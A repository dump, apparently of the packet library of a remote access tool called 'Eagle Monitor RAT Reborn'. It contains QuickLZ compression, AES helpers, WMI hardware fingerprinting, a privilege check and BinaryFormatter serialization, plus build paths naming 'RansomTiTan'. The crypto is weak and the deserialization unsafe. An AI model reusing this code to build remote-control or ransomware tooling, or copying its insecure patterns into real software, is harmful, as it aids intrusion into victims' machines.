final : http://www.quicklz.com/ namespace PacketLib { public class Compressor { public static class QuickLZ { public const int QLZ_VERSION_MAJOR = 1; public const int QLZ_VERSION_MINOR = 5; public const int QLZ_VERSION_REVISION = 0; // Streaming mode not supported public const int QLZ_STREAMING_BUFFER = 0; // Bounds checking not supported Use try...catch instead public const int QLZ_MEMORY_SAFE = 0; // Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values! private const int HASH_VALUES = 4096; private const int MINOFFSET = 2; private const int UNCONDITIONAL_MATCHLEN = 6; private const int UNCOMPRESSED_END = 4; private const int CWORD_LEN = 4; private const int DEFAULT_HEADERLEN = 9; private const int QLZ_POINTERS_1 = 1; private const int QLZ_POINTERS_3 = 16; private static int headerLen(byte[] source) { return ((source[0] & 2) == 2) ? 9 : 3; } public static int sizeDecompressed(byte[] source) { if (headerLen(source) == 9) return source[5] | (source[6] << 8) | (source[7] << 16) | (source[8] << 24); else return source[2]; } public static int sizeCompressed(byte[] source) { if (headerLen(source) == 9) return source[1] | (source[2] << 8) | (source[3] << 16) | (source[4] << 24); else return source[1]; } private static void write_header(byte[] dst, int level, bool compressible, int size_compressed, int size_decompressed) { dst[0] = (byte)(2 | (compressible ? 1 : 0)); dst[0] |= (byte)(level << 2); dst[0] |= (1 << 6); dst[0] |= (0 << 4); fast_write(dst, 1, size_decompressed, 4); fast_write(dst, 5, size_compressed, 4); } public static byte[] Compress(byte[] source, int level) { int src = 0; int dst = DEFAULT_HEADERLEN + CWORD_LEN; uint cword_val = 0x80000000; int cword_ptr = DEFAULT_HEADERLEN; byte[] destination = new byte[source.Length + 400]; int[,] hashtable; int[] cachetable = new int[HASH_VALUES]; byte[] hash_counter = new byte[HASH_VALUES]; byte[] d2; int fetch = 0; int last_matchstart = (source.Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1); int lits = 0; if (level != 1 && level != 3) throw new ArgumentException("C# version only supports level 1 and 3"); if (level == 1) hashtable = new int[HASH_VALUES, QLZ_POINTERS_1]; else hashtable = new int[HASH_VALUES, QLZ_POINTERS_3]; if (source.Length == 0) return new byte[0]; if (src <= last_matchstart) fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); while (src <= last_matchstart) { if ((cword_val & 1) == 1) { if (src > source.Length >> 1 && dst > src - (src >> 5)) { d2 = new byte[source.Length + DEFAULT_HEADERLEN]; write_header(d2, level, false, source.Length, source.Length + DEFAULT_HEADERLEN); System.Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, source.Length); return d2; } fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4); cword_ptr = dst; dst += CWORD_LEN; cword_val = 0x80000000; } if (level == 1) { int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); int o = hashtable[hash, 0]; int cache = cachetable[hash] ^ fetch; cachetable[hash] = fetch; hashtable[hash, 0] = src; if (cache == 0 && hash_counter[hash] != 0 && (src - o > MINOFFSET || (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] && source[src] == source[src - 2] && source[src] == source[src - 1] && source[src] == source[src + 1] && source[src] == source[src + 2]))) { cword_val = ((cword_val >> 1) | 0x80000000); if (source[o + 3] != source[src + 3]) { int f = 3 - 2 | (hash << 4); destination[dst + 0] = (byte)(f >> 0 * 8); destination[dst + 1] = (byte)(f >> 1 * 8); src += 3; dst += 2; } else { int old_src = src; int remaining = ((source.Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (source.Length - UNCOMPRESSED_END - src + 1 - 1)); src += 4; if (source[o + src - old_src] == source[src]) { src++; if (source[o + src - old_src] == source[src]) { src++; while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining) src++; } } int matchlen = src - old_src; hash <<= 4; if (matchlen < 18) { int f = (hash | (matchlen - 2)); destination[dst + 0] = (byte)(f >> 0 * 8); destination[dst + 1] = (byte)(f >> 1 * 8); dst += 2; } else { fast_write(destination, dst, hash | (matchlen << 16), 3); dst += 3; } } fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); lits = 0; } else { lits++; hash_counter[hash] = 1; destination[dst] = source[src]; cword_val = (cword_val >> 1); src++; dst++; fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16); } } else { fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); int o, offset2; int matchlen, k, m, best_k = 0; byte c; int remaining = ((source.Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (source.Length - UNCOMPRESSED_END - src + 1 - 1)); int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); c = hash_counter[hash]; matchlen = 0; offset2 = 0; for (k = 0; k < QLZ_POINTERS_3 && c > k; k++) { o = hashtable[hash, k]; if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET) { m = 3; while (source[o + m] == source[src + m] && m < remaining) m++; if ((m > matchlen) || (m == matchlen && o > offset2)) { offset2 = o; matchlen = m; best_k = k; } } } o = offset2; hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src; c++; hash_counter[hash] = c; if (matchlen >= 3 && src - o < 131071) { int offset = src - o; for (int u = 1; u < matchlen; u++) { fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16); hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); c = hash_counter[hash]++; hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u; } src += matchlen; cword_val = ((cword_val >> 1) | 0x80000000); if (matchlen == 3 && offset <= 63) { fast_write(destination, dst, offset << 2, 1); dst++; } else if (matchlen == 3 && offset <= 16383) { fast_write(destination, dst, (offset << 2) | 1, 2); dst += 2; } else if (matchlen <= 18 && offset <= 1023) { fast_write(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2); dst += 2; } else if (matchlen <= 33) { fast_write(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3); dst += 3; } else { fast_write(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4); dst += 4; } lits = 0; } else { destination[dst] = source[src]; cword_val = (cword_val >> 1); src++; dst++; } } } while (src <= source.Length - 1) { if ((cword_val & 1) == 1) { fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4); cword_ptr = dst; dst += CWORD_LEN; cword_val = 0x80000000; } destination[dst] = source[src]; src++; dst++; cword_val = (cword_val >> 1); } while ((cword_val & 1) != 1) { cword_val = (cword_val >> 1); } fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN); write_header(destination, level, true, source.Length, dst); d2 = new byte[dst]; System.Array.Copy(destination, d2, dst); return d2; } private static void fast_write(byte[] a, int i, int value, int numbytes) { for (int j = 0; j < numbytes; j++) a[i + j] = (byte)(value >> (j * 8)); } public static byte[] Decompress(byte[] source) { int level; int size = sizeDecompressed(source); int src = headerLen(source); int dst = 0; uint cword_val = 1; byte[] destination = new byte[size]; int[] hashtable = new int[4096]; byte[] hash_counter = new byte[4096]; int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1; int last_hashed = -1; int hash; uint fetch = 0; level = (source[0] >> 2) & 0x3; if (level != 1 && level != 3) throw new ArgumentException("C# version only supports level 1 and 3"); if ((source[0] & 1) != 1) { byte[] d2 = new byte[size]; System.Array.Copy(source, headerLen(source), d2, 0, size); return d2; } for (; ; ) { if (cword_val == 1) { cword_val = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); src += 4; if (dst <= last_matchstart) { if (level == 1) fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); else fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); } } if ((cword_val & 1) == 1) { uint matchlen; uint offset2; cword_val = cword_val >> 1; if (level == 1) { hash = ((int)fetch >> 4) & 0xfff; offset2 = (uint)hashtable[hash]; if ((fetch & 0xf) != 0) { matchlen = (fetch & 0xf) + 2; src += 2; } else { matchlen = source[src + 2]; src += 3; } } else { uint offset; if ((fetch & 3) == 0) { offset = (fetch & 0xff) >> 2; matchlen = 3; src++; } else if ((fetch & 2) == 0) { offset = (fetch & 0xffff) >> 2; matchlen = 3; src += 2; } else if ((fetch & 1) == 0) { offset = (fetch & 0xffff) >> 6; matchlen = ((fetch >> 2) & 15) + 3; src += 2; } else if ((fetch & 127) != 3) { offset = (fetch >> 7) & 0x1ffff; matchlen = ((fetch >> 2) & 0x1f) + 2; src += 3; } else { offset = (fetch >> 15); matchlen = ((fetch >> 7) & 255) + 3; src += 4; } offset2 = (uint)(dst - offset); } destination[dst + 0] = destination[offset2 + 0]; destination[dst + 1] = destination[offset2 + 1]; destination[dst + 2] = destination[offset2 + 2]; for (int i = 3; i < matchlen; i += 1) { destination[dst + i] = destination[offset2 + i]; } dst += (int)matchlen; if (level == 1) { fetch = (uint)(destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | (destination[last_hashed + 3] << 16)); while (last_hashed < dst - matchlen) { last_hashed++; hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1)); hashtable[hash] = last_hashed; hash_counter[hash] = 1; #pragma warning disable CS0675 // Opérateur OU au niveau du bit utilisé sur un opérande de signe étendu fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16); #pragma warning restore CS0675 // Opérateur OU au niveau du bit utilisé sur un opérande de signe étendu } fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); } else { fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); } last_hashed = dst - 1; } else { if (dst <= last_matchstart) { destination[dst] = source[src]; dst += 1; src += 1; cword_val = cword_val >> 1; if (level == 1) { while (last_hashed < dst - 3) { last_hashed++; int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | (destination[last_hashed + 2] << 16); hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1); hashtable[hash] = last_hashed; hash_counter[hash] = 1; } #pragma warning disable CS0675 // Opérateur OU au niveau du bit utilisé sur un opérande de signe étendu fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16); } else { fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24); #pragma warning restore CS0675 // Opérateur OU au niveau du bit utilisé sur un opérande de signe étendu } } else { while (dst <= size - 1) { if (cword_val == 1) { src += CWORD_LEN; cword_val = 0x80000000; } destination[dst] = source[src]; dst++; src++; cword_val = cword_val >> 1; } return destination; } } } } } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Utils/Encryption.cs ================================================ using System; using System.Collections.Generic; using System.Security.Cryptography; /* || AUTHOR https://bhf.im/threads/438711/ || */ namespace PacketLib.Utils { public class Encryption { public static byte[] RSMEncrypt(byte[] input, byte[] key) { Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(key, new byte[8], 1); RijndaelManaged rijndaelManaged = new RijndaelManaged { Mode = CipherMode.CBC, Key = rfc2898DeriveBytes.GetBytes(16), IV = rfc2898DeriveBytes.GetBytes(16) }; byte[] array = new byte[input.Length + 16]; Buffer.BlockCopy(Guid.NewGuid().ToByteArray(), 0, array, 0, 16); Buffer.BlockCopy(input, 0, array, 16, input.Length); return rijndaelManaged.CreateEncryptor().TransformFinalBlock(array, 0, array.Length); } public static byte[] RSMDecrypt(byte[] data, byte[] key) { Rfc2898DeriveBytes R = new Rfc2898DeriveBytes(key, new byte[8], 1); RijndaelManaged rijndaelManaged = new RijndaelManaged { Mode = CipherMode.CBC, Key = R.GetBytes(16), IV = R.GetBytes(16) }; byte[] O = rijndaelManaged.CreateDecryptor().TransformFinalBlock(data, 0, data.Length); byte[] U = new byte[O.Length - 16]; Buffer.BlockCopy(O, 16, U, 0, O.Length - 16); return U; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Utils/Host.cs ================================================ using System.Net; using System.Net.Sockets; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Utils { public class Host { public string host { get; set; } public int port { get; set; } public bool connected { get; set; } public bool available { get; set; } public Host(string host, string port) { this.host = CheckDNS(host); this.port = int.Parse(port); } private string CheckDNS(string url) { try { IPAddress[] l = Dns.GetHostAddresses(url); foreach (var IP in l) { if (IP.AddressFamily == AddressFamily.InterNetwork) { return IP.ToString(); } } } catch { } return null; } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Utils/HwidGen.cs ================================================ using System; using System.IO; using System.Management; using System.Security.Cryptography; using System.Text; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Utils { //From Async HWID Generator + https://stackoverflow.com/questions/2333149/how-to-fast-get-hardware-id-in-c internal class HwidGen { private static string identifier(string wmiClass, string wmiProperty) { var mbs = new ManagementObjectSearcher("Select "+ wmiProperty + " From " + wmiClass); ManagementObjectCollection mbsList = mbs.Get(); string result = ""; foreach (ManagementObject mo in mbsList) { try { result = mo["wmiProperty"].ToString(); } catch (Exception) { return result; } break; } return result; } private static string procId() { return identifier("Win32_processor", "ProcessorId") + identifier("Win32_processor", "Manufacturer") + identifier("Win32_processor", "Name") + identifier("Win32_processor", "NumberOfCores"); } private static string baseId() { return identifier("Win32_BaseBoard", "Model") + identifier("Win32_BaseBoard", "Manufacturer") + identifier("Win32_BaseBoard", "Name") + identifier("Win32_BaseBoard", "SerialNumber"); } private static string GetHash(string strToHash) { MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider(); byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash); bytesToHash = md5Obj.ComputeHash(bytesToHash); StringBuilder strResult = new StringBuilder(); foreach (byte b in bytesToHash) strResult.Append(b.ToString("x2")); return strResult.ToString().Substring(0, 20).ToUpper(); } public static string HWID() { return GetHash(string.Concat(baseId(), Environment.ProcessorCount, Environment.UserName, Environment.MachineName, Environment.OSVersion , new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize, procId())); } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Utils/ImageProcessing.cs ================================================ using System.Drawing; using System.IO; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Utils { public class ImageProcessing { public static Image BytesToImage(byte[] bytes) { using (MemoryStream mStream = new MemoryStream(bytes)) { return Image.FromStream(mStream); } } public static byte[] ImageToBytes(Image img) { using (var ms = new MemoryStream()) { (new Bitmap(img)).Save(ms, img.RawFormat); return ms.ToArray(); } } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Utils/Miscellaneous.cs ================================================ using System; using System.Diagnostics; using System.Security.Principal; using System.Windows.Forms; using static PacketLib.Utils.Native; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Utils { public class Miscellaneous { internal static string GPath = Application.StartupPath; public static string Check64Bit() { if (Environment.Is64BitProcess) { return "64"; } else { return "32"; } } public static string Privilege() { var ID = WindowsIdentity.GetCurrent(); var principal = new WindowsPrincipal(ID); if (principal.IsInRole(WindowsBuiltInRole.Administrator)) { return "Admin"; } else { return "User"; } } public static void CleanMemory() { GC.Collect(); GC.WaitForPendingFinalizers(); SetProcessWorkingSetSize(Process.GetCurrentProcess().Handle, -1, -1); EmptyWorkingSet(Process.GetCurrentProcess().Handle); } } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Utils/Native.cs ================================================ using System; using System.Runtime.InteropServices; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Utils { internal class Native { [DllImport("kernel32.dll", EntryPoint = "SetProcessWorkingSetSize", ExactSpelling = true, CharSet = CharSet.Ansi, SetLastError = true)] public static extern int SetProcessWorkingSetSize(IntPtr process, int minimumWorkingSetSize, int maximumWorkingSetSize); [DllImport("psapi")] public extern static bool EmptyWorkingSet(IntPtr hfandle); [DllImport("kernel32.dll")] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetPhysicallyInstalledSystemMemory(out long TotalMemoryInKilobytes); [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool DeleteFile(string lpFileName); [DllImport("kernel32.dll", SetLastError = true)] public extern static bool MoveFile([MarshalAsAttribute(UnmanagedType.LPStr)] string lpExistingFileName, [MarshalAsAttribute(UnmanagedType.LPStr)] string lpNewFileName); } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/Utils/Serializer.cs ================================================ using System; using System.IO; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary; using System.Text; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace PacketLib.Utils { public static class Serializer { public static byte[] SerializePacket(this IPacket _object, string key) { byte[] bytes; using (var _MemoryStream = new MemoryStream()) { IFormatter _BinaryFormatter = new BinaryFormatter(); _BinaryFormatter.Serialize(_MemoryStream, _object); bytes = _MemoryStream.ToArray(); } bytes = Encryption.RSMEncrypt(Compressor.QuickLZ.Compress(bytes, 1), Encoding.Unicode.GetBytes(key)); return bytes; } public static IPacket DeserializePacket(this byte[] _byteArray, string key) { IPacket ReturnValue; using (var _MemoryStream = new MemoryStream(Compressor.QuickLZ.Decompress(Encryption.RSMDecrypt(_byteArray, Encoding.Unicode.GetBytes(key))))) { IFormatter _BinaryFormatter = new BinaryFormatter(); ReturnValue = (IPacket)_BinaryFormatter.Deserialize(_MemoryStream); } return ReturnValue; } /*public static PacketHeader ConvertBytesToHeader(this byte[] _byteArray) { if (_byteArray.Length != 8) return null; PacketHeader header = new PacketHeader(); header.size = BitConverter.ToInt32(new byte[4] { _byteArray[0], _byteArray[1], _byteArray[2], _byteArray[3] }, 0); header.packetId = BitConverter.ToInt32(new byte[4] { _byteArray[4], _byteArray[5], _byteArray[6], _byteArray[7] }, 0); return header; }*/ } } ================================================ FILE: Remote Access Tool/Utils/PacketLib/obj/Debug/.NETFramework,Version=v4.0.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")] ================================================ FILE: Remote Access Tool/Utils/PacketLib/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Utils/PacketLib/obj/Debug/PacketLib.csproj.CoreCompileInputs.cache ================================================ b3a036fb128a2b678b87d44e8e6ce5ecbcecb135 ================================================ FILE: Remote Access Tool/Utils/PacketLib/obj/Debug/PacketLib.csproj.FileListAbsolute.txt ================================================ F:\Personal\RansomTiTan\PacketLib\bin\Debug\PacketLib.dll F:\Personal\RansomTiTan\PacketLib\bin\Debug\PacketLib.pdb F:\Personal\RansomTiTan\PacketLib\obj\Debug\PacketLib.csproj.CoreCompileInputs.cache F:\Personal\RansomTiTan\PacketLib\obj\Debug\PacketLib.dll F:\Personal\RansomTiTan\PacketLib\obj\Debug\PacketLib.pdb F:\Personal\RansomTiTan\PacketLib\obj\Debug\PacketLib.csproj.AssemblyReference.cache F:\Personal\DesyncFlow\PacketLib\bin\Debug\PacketLib.dll F:\Personal\DesyncFlow\PacketLib\obj\Debug\PacketLib.csproj.CoreCompileInputs.cache F:\Personal\DesyncFlow\PacketLib\obj\Debug\PacketLib.dll F:\Personal\DesyncFlow\PacketLib\obj\Debug\PacketLib.csproj.AssemblyReference.cache F:\Personal\DesyncOps\PacketLib\bin\Debug\PacketLib.dll F:\Personal\DesyncOps\PacketLib\obj\Debug\PacketLib.csproj.CoreCompileInputs.cache F:\Personal\DesyncOps\PacketLib\obj\Debug\PacketLib.dll F:\Personal\DesyncOps\PacketLib\obj\Debug\PacketLib.csproj.AssemblyReference.cache F:\Personal\DesyncOps\Remote Access Tool\PacketLib\bin\Debug\PacketLib.dll F:\Personal\DesyncOps\Remote Access Tool\PacketLib\obj\Debug\PacketLib.csproj.AssemblyReference.cache F:\Personal\DesyncOps\Remote Access Tool\PacketLib\obj\Debug\PacketLib.csproj.CoreCompileInputs.cache F:\Personal\DesyncOps\Remote Access Tool\PacketLib\obj\Debug\PacketLib.dll E:\личный\программирование\C#\DesyncOps\Remote Access Tool\PacketLib\bin\Debug\PacketLib.dll E:\личный\программирование\C#\DesyncOps\Remote Access Tool\PacketLib\obj\Debug\PacketLib.csproj.AssemblyReference.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\PacketLib\obj\Debug\PacketLib.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\PacketLib\obj\Debug\PacketLib.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\PacketLib\bin\Debug\PacketLib.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\PacketLib\obj\Debug\PacketLib.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\PacketLib\obj\Debug\PacketLib.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\PacketLib\obj\Debug\PacketLib.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\PacketLib\bin\Debug\PacketLib.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\PacketLib\obj\Debug\PacketLib.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\PacketLib\obj\Debug\PacketLib.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\PacketLib\obj\Debug\PacketLib.dll ================================================ FILE: Remote Access Tool/Utils/PacketLib/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Utils/PacketLib/obj/Release/PacketLib.csproj.CoreCompileInputs.cache ================================================ 0e2a4cfe43dd39038dcb0f3fd98e4b56d20503f6 ================================================ FILE: Remote Access Tool/Utils/PacketLib/obj/Release/PacketLib.csproj.FileListAbsolute.txt ================================================ F:\Personal\RansomTiTan\PacketLib\bin\Release\PacketLib.dll F:\Personal\RansomTiTan\PacketLib\bin\Release\PacketLib.pdb F:\Personal\RansomTiTan\PacketLib\obj\Release\PacketLib.csproj.CoreCompileInputs.cache F:\Personal\RansomTiTan\PacketLib\obj\Release\PacketLib.dll F:\Personal\RansomTiTan\PacketLib\obj\Release\PacketLib.pdb F:\Personal\RansomTiTan\PacketLib\obj\Release\PacketLib.csproj.AssemblyReference.cache F:\Personal\DesyncOps\PacketLib\bin\Release\PacketLib.dll F:\Personal\DesyncOps\PacketLib\bin\Release\PacketLib.pdb F:\Personal\DesyncOps\PacketLib\obj\Release\PacketLib.csproj.AssemblyReference.cache F:\Personal\DesyncOps\PacketLib\obj\Release\PacketLib.csproj.CoreCompileInputs.cache F:\Personal\DesyncOps\PacketLib\obj\Release\PacketLib.dll F:\Personal\DesyncOps\PacketLib\obj\Release\PacketLib.pdb E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\PacketLib\bin\Release\PacketLib.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\PacketLib\obj\Release\PacketLib.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\PacketLib\obj\Release\PacketLib.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\PacketLib\obj\Release\PacketLib.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\PacketLib\bin\Release\PacketLib.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\PacketLib\obj\Release\PacketLib.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\PacketLib\obj\Release\PacketLib.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\PacketLib\obj\Release\PacketLib.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\bin\Release\PacketLib.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\PacketLib\obj\Release\PacketLib.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\PacketLib\obj\Release\PacketLib.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\PacketLib\obj\Release\PacketLib.dll C:\Eagle Monitor RAT Reborn\bin\Release\PacketLib.dll C:\Eagle Monitor RAT Reborn\PacketLib\obj\Release\PacketLib.csproj.AssemblyReference.cache C:\Eagle Monitor RAT Reborn\PacketLib\obj\Release\PacketLib.csproj.CoreCompileInputs.cache C:\Eagle Monitor RAT Reborn\PacketLib\obj\Release\PacketLib.dll D:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\PacketLib.dll D:\$$$$$\Eagle Monitor RAT Reborn\PacketLib\obj\Release\PacketLib.csproj.AssemblyReference.cache D:\$$$$$\Eagle Monitor RAT Reborn\PacketLib\obj\Release\PacketLib.csproj.CoreCompileInputs.cache D:\$$$$$\Eagle Monitor RAT Reborn\PacketLib\obj\Release\PacketLib.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\bin\Release\PacketLib.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\PacketLib\obj\Release\PacketLib.csproj.AssemblyReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\PacketLib\obj\Release\PacketLib.csproj.CoreCompileInputs.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\PacketLib\obj\Release\PacketLib.dll F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\PacketLib.dll F:\$$$$$\Eagle Monitor RAT Reborn\PacketLib\obj\Release\PacketLib.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\PacketLib\obj\Release\PacketLib.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\PacketLib\obj\Release\PacketLib.dll F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Stubs\PacketLib.dll E:\$$$$$\Eagle Monitor RAT Reborn\PacketLib\obj\Release\PacketLib.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\PacketLib\obj\Release\PacketLib.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\PacketLib\obj\Release\PacketLib.dll F:\$$$$$\Eagle Monitor RAT Reborn\Utils\PacketLib\obj\Release\PacketLib.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Utils\PacketLib\obj\Release\PacketLib.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Utils\PacketLib\obj\Release\PacketLib.dll E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Stubs\PacketLib.dll E:\$$$$$\Eagle Monitor RAT Reborn\Utils\PacketLib\obj\Release\PacketLib.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Utils\PacketLib\obj\Release\PacketLib.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Utils\PacketLib\obj\Release\PacketLib.dll ================================================ FILE: Remote Access Tool/Utils/PacketLib/obj/Release/_IsIncrementalBuild ================================================ obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/bin/Release/Extensions.txt ================================================ http://www.gju.edu.jo/sites/default/files/Information%20Systems%20and%20Technology%20Center/common_file_extensions_.pdf 7Z ACE ADA ADB ADS AIF ANI API ARC ARJ ART ASC ASF ASM ASP ASPX ASX AU3 AVI BAK BAS BASH BAT BFC BIN BMP BUD BZ2 C CAB CAT CBL CBT CDA CDT CER CFML CGI CHM CLASS CLP CMAKE CMD CMF COM CPL CPP CS CSS CSV CTY CWK CWS CUR D DAO DAT DB DBF DD DEB DEV DFM DIC DIF DIR DLL DMG DOC DOCKERFILE DOCM DOCX DOT DOTX DPR DRV DS DUN DWG DXF EL ELM EMACS EMF EML EPS EPS2 ERL EVE EXE EX EXS FFL FFO FLA FLV FON FNT FS FSH FSI FSX GIF GID GO GRP GZ H HEX HLP HT HQX HTM HTML ICL ICM ICO IFF IPYNB INC INF INI INO ISO JAR JAVA JPEG JPG JS JSP JSX KBM KDC KIZ KQP KT KTM KTS L LAB LESS LEX LG LGO LHZ LIT LL LNK LOG LSP LUA M M3U M4A M4V MAQ MAR MD MDB MDL MFM MHT MHTML MID MM MOD MOV MPA MP3 MP4 MPG MPEG MPP MSG MSI NASM NCF NDX NFF NFF NITF NLM O OBD OCX ODP ODS ODT OFT OGG OST OTF OZ PAGES PAK PAS PCL PCT PDF PDR PERL PHP PHTML PIF PKG PL PM PM3 PM4 PM5 PM6 PNG POL POT POTM POTX PPA PPAM PPD PPK PPS PPSX PPSM PPT PPTX PPTM PRN PS PSD PSP PST PY PYP PYT PYW PUB PWL QBB QBW QIF QXD RA RAM RAR RAW RDO REG RM RPM RSC RSS RTF SAV SCALA SBT SC SCR SEA SGML SH SHTML SIT SLK SMD SQL SVG SWF SWP SYS TAR TAR.GZ TCW TEX TGA THMX TIF TIFF TMP TTF TXT UDF UUE VB VBS VBX VM VXD WAV WMA WMF WMV WPD WPS WRI WSF WSZ XCF XIF XHTML XLA XLAM XLR XLS XLSB XLSM XLSX XLT XLTM XLTX XLW XML XPS XSL YBK Z ZIP ZSH ================================================ 